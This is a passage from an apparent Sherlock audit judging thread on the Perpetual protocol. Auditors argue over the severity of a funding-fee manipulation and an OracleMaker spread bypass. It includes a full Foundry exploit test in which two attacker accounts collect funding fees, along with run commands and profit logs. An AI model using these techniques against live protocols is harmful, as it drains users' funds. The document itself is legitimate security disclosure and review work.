@WangSecurity I'm ready with the new POC, and it includes several improvements compared to the previous ones. To avoid doubts about the way I simulate the Uniswap pool, I changed the contracts to use the actual Uniswap V3 WETH/USDC 0.05% pool on Optimism via a fork from a specific block. The block is a random block from yesterday. I've prepared 2 tests. In one, only the available liquidity in the pool is used, and in the other, I show how adding additional liquidity can increase profits without any losses. I also noticed another mistake in the previous POCs - when positions are closed and the amount is withdrawn, it turns out that there isn't always enough collateral to withdraw the entire profit. In the current POC, I corrected this by simulating a loss from another trader so that the entire profit can be withdrawn. The changes span across several files, and I'm attaching all of them. If anyone encounters issues with running this, they can contact me.
Results:
midori-fuse
From the PoC (both the recently provided PoC, the PoC on the submission, and the sponsor's test file):
config.setFundingConfig(marketId, 0.005e18, 1.0e18, address(oracle_maker));
Aside from the funding exponent, there is also the funding rate (check function signature), and it's currently being set at a very unrealistic value. Here's why.
Although it's not known before the contest, the sponsor stated here that the intended funding rate (not exponent) is 100% to 500% a year. The given config (on the sponsor's comment) also looks weird, because 86400 is the number of seconds in a day, not in a year (for a year, it's 31536000 seconds).
Let's just say it's 500% a day, then $5/86400 \approx 6 10^{-5}$ per second. Then the funding rate in the PoC being $100$ times higher than intended (and if being 500% a year, then it's $36500$ times higher than intended). A funding rate of 100% a day means, at 1.0 exponent and max utilization, you pay a fee worth 100% of your position per day*. How is a fee of 5 times higher than this realistic?
For a reference of what a "realistic" value is, Binance Futures's funding rate are mostly 0.01% for most assets, and the funding interval is 8 hours. That means one side pays the other 0.01% worth of their position every 8 hours. Divided by the number of seconds in 8 hours, this gives a funding rate of $3.47 10^{-7}$% (or $3.47 10^{-9}$) per second, even if they technically don't pay this fee that often.
Back to the main issue, a funding rate of 500% per year (as per the sponsor's comment) is $5/(36586400) = 1.6 10^{-7}$. Then a funding rate of 0.005e18
or $5 * 10^{-3}$ per second is at least $30000$ times higher than the sponsor's stated upper bound of value. Let us also note that this value is only achievable on the maximum utilization (smaller utilizations scale down proportionally), and that 500% is the upper bound on the sponsor's stated value, not the realistic intended value.
Then any given profit from the funding fee has to be divided by $30000$, and the loss (from swaps, network fee, spread, etc) stays the same.
To sum up, because the funding rate is by second, and not anything else, the correct funding config for a 1.0 exponent and 500% funding rate per year should be:
config.setFundingConfig(marketId, 0.00000016e18, 1.0e18, address(oracle_maker)); // 5e18 divided by the number of seconds in a year
And the attack is no longer profitable, even on the upper bound of the sponsor's stated funding rate.
Because the attack is no longer profitable, and the fee per second is so small (comparable to that of the interest rate of a standard lending protocol), and also because the attacker carries a significant risk of holding a large position for a minimal fee profit, I will also go the distance and am arguing this to be a Low.
midori-fuse
I am also providing my own PoC to prove my claim that the current funding rate is far too high to be realistic
To run, paste the entire code as a file test/spotHedgeMaker/test.t.sol
, and run forge test --match-test testFundingFeeTooHighPOC -vv
.
What the PoC does is similar to what the original submission's PoC did, albeit simplified:
That's it. We're done, just wait and watch the fee do the work. The exploiter won't exploit anything, but this is to show how fast the exploiter already loses money when using the test setting.
Now, the OM's utilization rate is 100%, and the funding rate is 0.5% per second. That means in 100 seconds, the funding rate is 50%, and in 200 seconds, the funding rate is 100% i.e. the entire trader's open notional equivalent gets wiped out as fees within 200 seconds.
And indeed, the console log is as follow:
Using the "test config", 1 million of the exploiter/trader's USDC gets wiped out every 100 seconds. How is a fee of 100% the open notional every 200 seconds, or 3 minutes 20 seconds, anything realistic, or even remotely close to the sponsor's stated value or any perp trading platforms out there?
If you change the exponent to 1.1e18, the funding rate gets even more aggressive, and the exploiter/trader's entire margin of 5 million gets almost wiped out in the first 100 seconds.
midori-fuse
Let us also do some math and prove why this is a Low.
For the sponsor's upper bound of 500% per year, the funding rate per second divides to 1.6e-7. That means for every 16 million USD worth of open notional, assuming the OM stays at 100% utilization, the "exploiter" earns one dollar worth of fee per second. Then the so-called exploit's profit is $1 per second for the following constraints/external conditions:
Assuming the number is not actually 16 million, but whatever the OM's TVL is. Then the attacker's profit from fees decrease accordingly, while every other losses and risks stay the same. Note that the exploiter's position must closely match the OM's TVL at all times, to keep utilization (and thus funding fee) high, so they cannot choose a "smaller" exploit for a less gain, because the gain is not proportional.
Any single one of the aforementioned factors alone (maybe except for gas fees) already outweights the "profit", not to mention all of them combined. Then the effect is far too small for a risk far too great, and thus this cannot be considered a medium.
WangSecurity
Thank you for that insightful input and new POCs, I will give some time for @gstoyanovbg to provide counter arguments to your messages.
WangSecurity
In the meantime, thank you @midori-fuse for these comprehensive calculations. But I've ran into problem with the most recent @gstoyanovbg POC, it's very massive and my PC is not powerful, hence, it runs infinitely and doesn't finish. I've tried several times and it still doesn't seem to be working. Therefore, I want to ask @IllIllI000 or @midori-fuse to run this test and confirm the output.
Regarding the funding rate inside the funding config, is there any evidence (either from documentation/discord messages/code) what can be the realistic value of the funding rate?(question 1) Unfortunately, the funding rate of 100%-500% was provided after the contest. As I understand the following factors effect the profit of this attack:
Is there anything else that should be added to the list? (question 4).
Despite the profits of the attacker in the end, the loss of funds for users is certain, correct? (question 5).
gstoyanovbg
It is true that the sponsor states they expect 100-500% annually, but at the same time, "fundingFactor: 200% / 86400".
200 / 86400 = 0.0023 500 / 86400 = 0.0057
Both numbers are comparable to 0.005 - the value used for fundingFactor in tests. Based on what is said, it seems that sponsors calculated what the value of fundingFactor should be this way. However, the contradiction is clear; ultimately, the code depends on the parameter passed, not on the words used to explain what the code should do. Therefore, the value passed for the parameter should carry more weight than an explanation expressed in potentially ambiguous words. If we assume that this issue was not submitted, we have all the evidence to believe that the sponsors would have passed a value between 0.001 and 0.005 for fundingFactor, which would have led to serious losses, as already demonstrated. When I mentioned realistic values in previous comments, I meant realistic within the context of this contest. In other words, realistic values are those that the administrator would choose, especially since we know what they are. Otherwise, we could say that the administrator could set the value to 0 and this bug would not be valid. But that wouldn't make sense. I don't find logic in considering the value 0.00000016e18 as realistic, especially when the sponsor twice states that they will use a value in the range of 0.002-0.005 (once in the test and once in a comment). In my opinion, the above comments are a good addition to the discussion, but they have no relation to the severity of this finding.
Nevertheless, I will briefly comment on the conclusions of midori-fuse. To be precise, 5e18 / 31536000 = 158548959919. This will be the value I will use for fundingFactor for the test I will conduct using my POC. As correctly pointed out, the current attack with 2 consecutive blocks is not profitable (there is a negligible loss). However, as I mentioned in some of my previous comments, this is not the only way to exploit this issue. One winning attack scenario is to execute the scenario from my last POC for a longer period. In other words, positions are not closed on the next block. To demonstrate that this is profitable, I execute the attack scenario that adds additional liquidity by changing the duration to 86400 seconds (1 day).
LP balance before the deposit to Uniswap 4000000000000
Exploiter Quote balance at Start: 6000000000000
Funding Fee Rate after short:
-158548959918
Exploiter's margin after both positions are closed:
6026027095578931798057495
Balance of LP before UNI V3 position burn: 0
Balance of LP after UNI V3 position burn: 4002001000499
The amount received after burn of the UNI V3 position is 4002001000499
Exploiter Quote balance at End: 6026027095578
LP balance at End 4002001000499
From the log, we see a profit of $14,019 from positions and a profit of $2001 from the provided liquidity in Uniswap. Therefore, I can conclude that the attack may be profitable if executed for a long enough period. The execution time does not need to be continuous because, as seen, there are no losses from slippage and fees. One way to execute this is for the attacker to open symmetric positions in oracle maker and SpotHedgeBaseMaker, reaching the max funding rate as in my POC. The goal is for potential losses from price changes to be neutralized. The expected behavior is for other traders to be incentivized enough to open a position in the opposite direction in oracle maker to make a profit from the funding fee but also to reduce the attacker's profit. At this point, the attacker can reverse the symmetric positions (long become short for example) in order to continue the attack or close them, waiting for a convenient moment to execute the attack again. The important thing is to accumulate enough time during which the attack is active to lock in profits.
I hope I provided a good intuition for how the attack can be profitable, although, in my opinion, realistic values in the context of this audit are 0.001-0.005.
P.S I want to note that in my POC all the losses and profits are taken into consideration and in the logs that i shared you can see that profits are greater.
gstoyanovbg
In the meantime, thank you @midori-fuse for these comprehensive calculations. But I've ran into problem with the most recent @gstoyanovbg POC, it's very massive and my PC is not powerful, hence, it runs infinitely and doesn't finish. I've tried several times and it still doesn't seem to be working. Therefore, I want to ask @IllIllI000 or @midori-fuse to run this test and confirm the output.
Regarding the funding rate inside the funding config, is there any evidence (either from documentation/discord messages/code) what can be the realistic value of the funding rate?(question 1) Unfortunately, the funding rate of 100%-500% was provided after the contest. As I understand the following factors effect the profit of this attack:
- Funding exponent (set by a TRSUTED admin).
- Funding rate (set by a TRUSTED admin).
- Liquidity at a certain price range (external condition, but can be influenced by the attacker).
- High cost (flash loans cannot be used, cause minimum 2 blocks are required for the attack).
- Borrowing fees (but as I understand, if the attacker indeed has sufficient funds to execute the attack, they won't borrow funds, hence, no borrowing fee (question 2).
- Uniswap Slippage (as I understand opening a position requires making a swap on Uniswap equal to the position size, correct? (question 3)).
Is there anything else that should be added to the list? (question 4).
Despite the profits of the attacker in the end, the loss of funds for users is certain, correct? (question 5).
@WangSecurity Are you sure that the POC consumes a lot of resources, did you check the load of your system ? Is your ENV file correctly populated ? I can record a video for you if you want or can give you remote access. DM me if you think that this will help.
Question 1: I am ware only for the tests. Question 2: Borrowing fee is part of the protocol it is not external borrowing fee but in my POC i took it into consideration. Question 3: Only in SHBM. Question 4: The list looks correct to me. Question 5: The profits are more than the losses if you execute the attack correctly (visible from the POC). And yes the losses for users are certain.
midori-fuse
It is true that the sponsor states they expect 100-500% annually, but at the same time, "fundingFactor: 200% / 86400".
When I mentioned realistic values in previous comments, I meant realistic within the context of this contest. In other words, realistic values are those that the administrator would choose, especially since we know what they are.
Additionally addressing @WangSecurity's question 1 by providing examples of real-life exchanges:
Regarding the funding rate inside the funding config, is there any evidence (either from documentation/discord messages/code) what can be the realistic value of the funding rate?(question 1)
This coinglass link shows the funding rate of 13 different perpetual exchanges, all of them in the range of about 0.01% per 8 hours, which is 1.4 million times higher than the testing config of 0.5% per second. You can also click on any asset to view their historical funding rate.
When the docs do not tell us what the intended value is, then we must use reasonable values. As external evidences by other perpetual exchanges have pointed out, the values I calculated are realistic.
If you still disagree, please provide reference to any code/docs or any existing perpetual exchanges to prove 0.5% per day second is anything "realistic". The testing fee config does not prove anything if it's a million times higher than multiple real-life exchanges.
To demonstrate that this is profitable, I execute the attack scenario that adds additional liquidity by changing the duration to 86400 seconds (1 day).
The new PoC is leaving the position open for a day, which exposes it to the following factors:
As you have stated yourself that maintaining the position for a long time is a required factor for this attack:
The important thing is to accumulate enough time during which the attack is active to lock in profits.
Addressing @WangSecurity's concerns for question 4 and 5 at the same time:
Despite the profits of the attacker in the end, the loss of funds for users is certain, correct?
Quoting Sherlock rules, section III (Sherlock's standards), point 2 on the matter of griefing:
Additional constraints related to the issue may decrease its severity accordingly.
As I have laid out in my previous comment, there are far too many factors to this to be considered a medium, which additionally addresses another of your concern:
Is there anything else that should be added to the list? (question 4).
This actually adds another factor affecting the profit of the attack: The OM's price spread. Due to issue #25 , the spread is not applied when the attack is first performed (e.g. pushing the util rate from 0% to 100% will not apply the premium), but it is applied whenever the position is maintained (e.g. pushing the util rate from 90% to 100% will apply the premium at 90%).
Spending 10 million dollars to grief-push the funding rate to 500% a year for a guaranteed loss, as well as having to maintain it for additional loss, and combining the factors you mentioned alongside my own outlined ones, is enough to consider this attack unrealistic and a non-medium.
gstoyanovbg
@midori-fuse
200% is not 200, it is 2. Even if the funding rate is 500% per day, the funding rate of 0.5% per second is still 86 times higher than the testing config. They are not comparable.
I know but how do you think that the sponsor calculated the value 0.005e18 ?? It is just ~500/86400. I believe that they meant the same with this 200% - 200/86400 not 2 / 86400.
The sponsor made a mistake here. 86400 is the number of seconds in a day, not in a year.
But the sponsor would have made the same mistake in production as well without this finding.
During the funding fee calculation, the funding rate is never divided by the number of seconds in a year, and it is also not divided when setting the config. Alongside my PoC, this proves that the funding rate is by second, and not by anything else.
I don't understand what your POC prove and why it have only 1 position opened which loss value over time, which is normal.
This coinglass link shows the funding rate of 13 different perpetual exchanges, all of them in the range of about 0.01% per 8 hours, which is 1.4 million times higher than the testing config of 0.5% per second. You can also click on any asset to view their historical funding rate.
I am not aware how the funding rate is implemented on each of these protocols so this is not argument for me. The only thing that matters is the current protocol. How can i know that all these protocols have same implementation of funding fee like this one ?
When the docs do not tell us what the intended value is, then we must use reasonable values. As external evidences by other perpetual exchanges have pointed out, the values I calculated are realistic.
Disagree. Already explained why,
If you still disagree, please provide reference to any code/docs or any existing perpetual exchanges to prove 0.5% per day is anything "realistic". The testing fee config does not prove anything if it's a million times higher than multiple real-life exchanges.
I truly hope you don't expect me to go through all the perpetual protocols and compare their implementations and funding rates with those we have here. Sponsors have the right to choose; it's their protocol, and they have chosen to test with a specific value. Or do you think that they decided to test with a value a million times larger than what they intend to use?
The new PoC is leaving the position open for a day, which exposes it to the following factors: As soon as any regular traders opens a position within the entire day, the utilization rate of the OM decreases, and the extreme funding rate is no longer existent. To maintain your extreme funding rate, you must open a counter-position i.e. repeating the same attack steps, which further exposes you to: Another wave of UniV3 slippage. The OM's price spread premium, preventing you from even being able to reopen the position at the oracle price. When you skew the UniV3 price away from the oracle price during the SHBM step, you created an arb scenario that undoes your position by doing the opposite of what you did. Any party would be happy to take the arbing profit. You start with a balance of $10 million (6 in margin, 4 in LP), and walks away with 28k "profit" or a 0.28% profit, if and only if: The price moves in your favor when you close it out. No one trades during the entire day. Any trades made reduces your "profit" by UniV3 slippage and OM's price spread premium.
Firstly, I hope this paragraph is not an attempt to distort my words. The open position for 1 day was simply to demonstrate that if the attack works for 86400 seconds, we have a profit. Just an example, nothing more. I also explained that it is not necessary for the 86400 seconds to be consecutive. I want to ask, have you spent more than 5 minutes on the POC I uploaded a day or two ago? From your words, I understand that you haven't. And once again, I'll repeat, the issue with slippage is manageable.
As you have stated yourself that maintaining the position for a long time is a required factor for this attack:
This is not correct. I have stated that if you reduce the fundingFactor 1 million times (compared to the one from the tests) it is a possible way to conduct the attack. Maybe not the only one maybe even not the best one. And this is not a limitation because this value is beyond any reasonable deviation from the value in the test files
Till the end of your post you provide arguments that i think that was discussed many times. I think that we already provided our arguments and the judge has enough information to make a decision. I don't see the point in repeating the same thing over and over again. @WangSecurity if you have more questions to me i can answer but don't plan to continue to answer comments that doesn't provide any new arguments.
WangSecurity
I think to prevent any arguing on whether the funding rate is correct or not, we can ask @paco0x . In this comment you say it's yearly rate, but divide it by 86400, which is the amount of seconds in day, which was correctly noted by the @midori-fuse earlier. Could you please clarify, if we choose the 500% how it would look exactly in the code? Would it look the following:
config.setFundingConfig(marketId, 0.005e18, 1.0e18, address(oracle_maker));
Or is it wrong.
Also, I believe we should avoid looking at what the funding rate is on the different perpetual exchanges, especially centralised ones, cause they work differently. Of course, it's completely logical, but I hope you understand what I mean here.
Addressing @WangSecurity's concerns for question 4 and 5 at the same time:
Despite the profits of the attacker in the end, the loss of funds for users is certain, correct?
Quoting Sherlock rules, section III (Sherlock's standards), point 2 on the matter of griefing:
Additional constraints related to the issue may decrease its severity accordingly.
Totally understand, just wanted to get the clarification, cause it seems the discussion is mostly about the profit, and not the losses.
We'll wait for the sponsor to clarify if the funding rate is correct or not and if there are any questions from my side, will ask them a bit later. Thanks very much to both of you for these insightful comments!
WangSecurity
There are only small clarifications I need.
Since, we haven't got the response from sponsor yet, as I see from @gstoyanovbg, the attack is indeed profitable without adding additional liquidity and is executed in 2 blocks. Hence, there is no need for the attacker to hold positions for a day or more, which exposes them to additional risks. Correct?
Moreover, in the same POC by @gstoyanovbg the position is closed via OM and not SHBM. Since the swap equal to volume of the entire trade on Uniswap happens only in SHBM, then Uniswap fees are also shouldn't not be taken in consideration. Correct?
That's the two questions I got. I understand that the answer from sponsor effects the first question, hence, for now let's consider that the value used by ge6a is correct, until proven otherwise. For your ease, just answer my questions yes/no and what words exactly are incorrect.
Thank you for these comprehensive responses as always!
paco0x
I think to prevent any arguing on whether the funding rate is correct or not, we can ask @paco0x . In this comment you say it's yearly rate, but divide it by 86400, which is the amount of seconds in day, which was correctly noted by the @midori-fuse earlier. Could you please clarify, if we choose the 500% how it would look exactly in the code? Would it look the following:
config.setFundingConfig(marketId, 0.005e18, 1.0e18, address(oracle_maker));
Or is it wrong.
Sorry, you're right, it's wrong, should be divided by (86400 *365), like:
config.setFundingConfig(marketId, 200% / (86400 * 365) * 1e18, 1.0e18, address(oracle_maker));
We didn't plan to enable the funding in production because of the concern about potential issues here. A proper funding rate config needs to be obtained through practice and some research. 100% ~ 500% (per year at 100% imbalance rate) is just a rough idea without enough research on it. However, I believe we won't set this value too high as it discourages users from opening positions.
WangSecurity
@paco0x last small clarification. It will be actually used as 200% in the calculation and not 200 or 2?
paco0x
@paco0x last small clarification. It will be actually used as 200% in the calculation and not 200 or 2?
oh, 200% means 2, can be written as 2e18 / (86400 * 365)
WangSecurity
@gstoyanovbg @IllIllI000 @midori-fuse I need assistance from your side. Firstly, due to inability to run the most recent POC from this comment with new value for fundingRate from sponsor (please test it with both 2e18 / (86400 * 365)
and the upper bound 5e18 / (86400 * 365)
) and provide the output data.
Secondly, I need answers for these two small questions.
I believe it'll be sufficient to make the final judgement, hence, I'm asking you to do that in a timely manner.
IllIllI000
@gstoyanovbg can you clarify how to set up the tests? can you list the file name and path for each solidity block? It's not clear which are replacements of existing files, and which go where. When I ran with what I tried, I see:
Encountered 2 failing tests in test/clearingHouse/a.t.sol:FundingFeeExploit3
[FAIL. Reason: EvmError: Revert] testFundingFeeExploitAdditionalLiquidity() (gas: 254348)
[FAIL. Reason: PathNotSet(0x4200000000000000000000000000000000000006, 0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7)] testFundingFeeExploitNoAdditionalLiquidity() (gas: 2870645)
so I think I missed something. I suspect the hangs others are seeing are also due to incorrect placements of files.
For the future, think it would be best to provide a git diff > patch
for the modified files, and only have a single file for the tests, rather than having 'version 2's of each, so that it's easy to see what's being changed
midori-fuse
There were 4 files and here are the file locations:
test/poc/Test.sol
test/spotHedgeMaker/SpotHedgeBaseMakerForkSetup2.sol
test/spotHedgeMaker/INonfungiblePositionManager.sol
test/clearingHouse/ClearingHouseIntSetup.sol
The .env file only has OPTIMISM_WEB3_ENDPOINT_ARCHIVE
filled out. You may want to use a dedicated RPC (e.g. your own Infura endpoint) instead of a public one for better performance.
The test command were: forge test --match-test testFundingFeeExploitAdditionalLiquidity -vv
and forge test --match-test testFundingFeeExploitNoAdditionalLiquidity -vv
I modified line 144 of the first file to the following (500% yearly rate) and keep everything else unchanged:
config.setFundingConfig(marketId, uint(5e18) / (365 days), 1.0e18, address(oracle_maker));
And the result was:
WangSecurity
There was a bit of confusion regarding second question here about double negative (shouldn’t). Will rephrase it here:
As @gstoyanovbg said in one of the previous comments, the swap on Uniswap, equal to the size of position, is made ONLY in SHBM, NOT in OM. In last POC by @gstoyanovbg both open and close position is made in the OM (if I understand correctly, feel free to correct it). But @midori-fuse said that Uniswal fees and slippage should be taken into consideration. But, in the last POC @gstoyanovbg uses OM, hence, the Uniswap Fees and slippage, shouldn’t be taken into consideration? Hope that clears all the confusion.
WangSecurity
If anyone is planning to also run the POC with the updated funding rate value and get the results different from these, try to explain what made the difference
IllIllI000
Got the same numbers with the provided file locations (initial run appeared to hang, but eventually completed after 2381.11s. subsequent runs completed immediately, so the hang is due to rpc slowness as midori-fuse said)
midori-fuse
I additionally changed the time duration of the attack (line 282 for no liq, line 440 for with liq) and found that:
Finally, to address @WangSecurity's two questions:
First question: By the new parameters and the given PoC, the attacker do needs to hold the two positions for the given durations above.
Second question: By the given PoC, the attacker technically still opens two opposite positions on the SHBM, one at attack start (line 264), and one at the attack end (line 285).
nirohgo
@WangSecurity was out of the loop for a bit but just got back and went over the thread and I have a couple of final comments: A. Information provided after the contest (even if to correct a supposed mistake in the pre-audit info) should not affect judging (there are examples of head of judging ruling by this principle in the past), B. Note Paco's comment that:
A proper funding rate config needs to be obtained through practice and some research. 100% ~ 500% (per year at 100% imbalance rate) is just a rough idea without enough research on it
Meaning that even this post-contest estimation is only a shot in the dark and real values would have been set based on experience (if this feature was to be implemented). Given these two points I believe based on sherlock judging principles this should stay a high. This was sufficiently proven in the original finding with the info available at the contest. (I would also suggest to not waste any more time on these endless POC tweaks as they are all based on these post-POC speculative guesses of what the values may be).
joicygiore
@WangSecurity was out of the loop for a bit but just got back and went over the thread and I have a couple of final comments: A. Information provided after the contest (even if to correct a supposed mistake in the pre-audit info) should not affect judging (there are examples of head of judging ruling by this principle in the past), B. Note Paco's comment that:
A proper funding rate config needs to be obtained through practice and some research. 100% ~ 500% (per year at 100% imbalance rate) is just a rough idea without enough research on it
Meaning that even this post-contest estimation is only a shot in the dark and real values would have been set based on experience (if this feature was to be implemented). Given these two points I believe based on sherlock judging principles this should stay a high. This was sufficiently proven in the original finding with the info available at the contest. (I would also suggest to not waste any more time on these endless POC tweaks as they are all based on these post-POC speculative guesses of what the values may be).
@nirohgo Hello, sir, I have a question that is difficult to understand. Why does your POC need so much money? What I am very curious about is that after two markets under the same marketId open reverse positions, the attacker's position will cancel each other out. If there is insufficient funds, they can be recycled and the maker's FreeCollateral can also be exhausted. Any more is just a little gas. For the remaining address, you only need to choose whether to make a profit. Is my project source code different from yours? Or am I missing something?
// please add to FundingFee.int.t.sol and test
function test_AttackerWithTwoMakersGetFundingFee() public {
// Lower FundingRate for testing
config.setFundingConfig(marketId, uint(5e18) / (365 days), 1.0e18, address(maker));
// init attacker
address attackerOne = makeAddr("attackerOne");
address attackerTwo = makeAddr("attackerTwo");
_deposit(marketId, attackerOne, 5000e6);
_deposit(marketId, attackerTwo, 5000e6);
// Caching attacker account vaule
int256 attackerOneStartAccountVaule = vault.getAccountValue(marketId, attackerOne, 100e18);
int256 attackerTwoStartAccountVaule = vault.getAccountValue(marketId, attackerTwo, 100e18);
// attackerOne long 500 eth on maker1
vm.prank(attackerOne);
clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: false,
isExactInput: false,
amount: 500 ether,
oppositeAmountBound: 50000 ether,
deadline: block.timestamp,
makerData: ""
})
);
// attackerOne short 500 eth on maker2
vm.prank(attackerOne);
clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker2),
isBaseToQuote: true,
isExactInput: true,
amount: 500 ether,
oppositeAmountBound: 50000 ether,
deadline: block.timestamp,
makerData: ""
})
);
// attackerOne don't have open position
_assertEq(
_getPosition(marketId, address(attackerOne)),
PositionProfile({ margin: 5000e18, positionSize: 0, openNotional: 0, unsettledPnl: 0 })
);
// attackerTwo short 500 eth on maker2
vm.prank(attackerTwo);
clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker2),
isBaseToQuote: true,
isExactInput: true,
amount: 500 ether,
oppositeAmountBound: 50000 ether,
deadline: block.timestamp,
makerData: ""
})
);
skip(15);
vm.prank(attackerTwo);
clearingHouse.closePosition(
IClearingHouse.ClosePositionParams({
marketId: marketId,
maker: address(maker),
oppositeAmountBound: 50000 ether,
deadline: block.timestamp,
makerData: ""
})
);
int256 attackerOneEndAccountVaule = vault.getAccountValue(marketId, attackerOne, 100e18);
int256 attackerTwoEndAccountVaule = vault.getAccountValue(marketId, attackerTwo, 100e18);
assertEq(attackerOneStartAccountVaule, attackerOneEndAccountVaule);
assertEq(attackerTwoEndAccountVaule - attackerTwoStartAccountVaule, 594558599691750000);
console2.log(attackerTwoEndAccountVaule - attackerTwoStartAccountVaule);
}
[PASS] test_AttackerWithTwoMakersGetFundingFee() (gas: 2647155) Logs: 594558599691750000
joicygiore
It seems not
The first thing I remember was just trying to run out of collateral. But later I found that the direction was reversed. If there is a funding fee, it can generate profits. The profits are considered an accessory and are mainly used to create trouble. As long as attackerOne can control the direction, attackerTwo will be safe and profitable. If it loses control, the position will be closed directly.
Don't let the fight stop😃
gstoyanovbg
@WangSecurity Answers to your questions:
1) In the POC i open a position at OM, open a position at SHBM, close the position at SHBM and close the position at OM in that order. But the slippage is only relevant to SHBM because only there we have swaps. However i don't think that slippage matters because i can add the necessary liquidity before each swap (in my POC i do this only before the first swap so it could be optimized).
2) Regarding the swapping fees they matter but i have a profit from the concentrated liquidity that provide so it should be taken into consideration too.
WangSecurity
Firstly, thanks to everyone for this help, both with testing and answering my questions. As we see in the last POC, with the values set according to sponsors comments are:
Obviously, without adding the liquidity is better.
I understand that we use the upper bound value and there are additional fees and slippage from Uniswap. The factors of Uniswap, slippage, especially, can be mitigated with adding more liquidity. With the funding config values set by sponsors, the attack is almost at breakeven, the initial balance of the attacker is $6 mil, after the attack it's $4k less. The losses, of course, are certain. BUT, the values of funding config were known only AFTER the contest and as @nirohgo said in this comment, these configs were asked and the sponsors did NOT know during the contest. Hence, I believe High severity is appropriate.
Planning to accept the escalation and upgrade the severity to High.
midori-fuse
If you're planning on acting on using a 0.5% per second fee rate, a fee rate that wipes out a user's trade position within 200 seconds, as a source of truth, ignoring all common sense on what a normal fee level is, ignoring the fact that external evidences (dydx, perennial, GMX, Synthetix) were available before the contest as well, then I can't do anything about it.
WangSecurity
Firstly, other protocols, even of the same concept, shouldn't be taken as sources of truth and every protocol should be treated as independent, even though it's logical. Secondly, these values were unknown even to the sponsors and as Watsons said, they took these values of finding config from tests. I understand it's not a strong source of truth, cause it can be outdated or used for specific cases. But at the time of the audit contest, it was the most fair option to get into Perpetual's context. That's why my decision is to accept the escalation and upgrade severity to High
joicygiore
If you're planning on acting on using a 0.5% per second fee rate, a fee rate that wipes out a user's trade position within 200 seconds, as a source of truth, ignoring all common sense on what a normal fee level is, ignoring the fact that external evidences (dydx, perennial, GMX, Synthetix) were available before the contest as well, then I can't do anything about it.
I should use the same parameters as you, but the fundamental problem is that attackerOne has no cost except gas. attackerTwo only needs to choose whether to profit from this. There is no risk in moving forward and retreating freely, right? If you want to eliminate this trouble, you need a cleaner to clean up the mess caused by attackerOne, and the cleaner will also pay the same gas cost.
joicygiore
Firstly, other protocols, even of the same concept, shouldn't be taken as sources of truth and every protocol should be treated as independent, even though it's logical. Secondly, these values were unknown even to the sponsors and as Watsons said, they took these values of finding config from tests. I understand it's not a strong source of truth, cause it can be outdated or used for specific cases. But at the time of the audit contest, it was the most fair option to get into Perpetual's context. That's why my decision is to accept the escalation and upgrade severity to High
Sir, I personally agree with you very much. It's not that this question is relevant to me, it's the fact
Oot2k
I think we can assume admin will set value according to risk management. No matter what audit test files say, admin is always responsible for acting in the best possible way. I don't think it should even be in discussion if a unrealistic value not used in production anyways will make the impact higher or not.
WangSecurity
My final decision caused some confusion and seemed that it's based only on test values. Of course, it's not. What I meant by that is it's the logical way to get into protocol's context. As I've said before, neither CEX or other decentralised perps should be taken as a source of truth, cause it's different platforms and protocols. Similar to historical decisions not being a source of truth. As we all know, values for funding config were not known during the contest, but only after it during the escalation phase, hence, looking at the tests and taking values from there is logical way to get into context.
As for other reasons, there were several POCs modified each time, the last one simulated Optimism's Uniswap USDC/ETH Pool. We also tested it with funding exponent and funding rate provided by the sponsor AFTER the contest. Adding liquidity was also taken into consideration and tested. With all of that (both Uniswap simulation and sponsor provided values), the attack is almost breakeven and causes a definite loss of funds to the users.
I hope you understand and it explains that my decision is not based only on test values, but on the combination of different factors explained above. Hence, I believe it's fair to accept the escalation and upgrade severity to high.
Evert0x
Result: High Has Duplicates
sherlock-admin4
Escalations have been resolved successfully!
Escalation status:
Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/25
The protocol has acknowledged this issue.
IllIllI, PUSH0
OracleMaker's _getBasePriceWithSpread()
does not take into account the opening position's size, but only on the current position of the Maker.
This means there is no price impact protection against large trades (or any trades at all) for the Oracle Maker. Anyone can then bypass the spread by opening a reverse position before actually opening their intended position.
To reduce risky positions, the Oracle Maker will quote a slightly worse price (for the trader) than the actual Oracle price for any positions that increases risk. This is also mentioned in the audit docs, Dynamic Premium section.
When a new position is requested, the Oracle Maker quotes a price that includes this spread:
function fillOrder(
bool isBaseToQuote,
bool isExactInput,
uint256 amount,
bytes calldata
) external onlyClearingHouse returns (uint256, bytes memory) {
uint256 basePrice = _getPrice();
uint256 basePriceWithSpread = _getBasePriceWithSpread(basePrice, isBaseToQuote); // @audit here
There is no spread when the new position reduces risk (e.g. if the current Maker position is +3 ETH, and the new order implies -1 ETH, then the Maker will quote the oracle price directly).
However, _getBasePriceWithSpread()
never uses the order's amount, therefore large positions will be quoted the same price as small positions, i.e. there is no price impact. This issue also exists if the new position passes the zero mark, where the Maker thinks it's de-risking, while in reality it's being subject to much more risk in the opposite direction.
Anyone can then bypass the spread completely (or partially) by opening a position in the opposite direction before the intended direction:
If Alice sends a 10 ETH long order now, she would have to accept the base price spread and get a slightly worse price than the Pyth oracle price. However Alice can bypass the spread by sending the following two orders in quick succession to the relayer:
Alice was able to bypass the premium from the spread model, and force the Maker to quote exactly the Pyth oracle price. Note that Alice doesn't have to fully bypass the spread, she could have just opened a -0.5 ETH first and would still largely bypass the spread already.
Manual review
_getBasePriceWithSpread()
must take into account the average spread of the Maker's position before and after the trade, not just the position before the trade.
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
santipu_ commented:
Medium
rc56
@lnxrp:
minMarginRatio
which protects it from taking too much exposure. The parameter had been set conservative (minMarginRatio = 100%
) from the start so we have extra safety margin to observe its real-world performance and improve it iterativelymidori-fuse
Escalate
We have shown the method to bypass the Oracle Maker's spread, which is meant to be the protection against large exposures. This attack also has no external conditions: With any amount of margin, you can still partially bypass the spread. Larger margin only maximizes the impact, but smaller margin does not prevent it in any way.
The effect of bypassing the premium is that the Oracle Maker is forced to take positions without spread (or with a heavy reduction). Elaborating on this, this means that the Oracle Maker is forced to take the same position size for a larger (absolute) open notional. This translates to a direct loss should the price moves in any direction:
Note that we are only elaborating what is already written in our report (elaborating the direct effect of the Maker quoting a less favorable price). The elaborated info only arises from the definition of a standard perpetual contract, and we are adding no additional info.
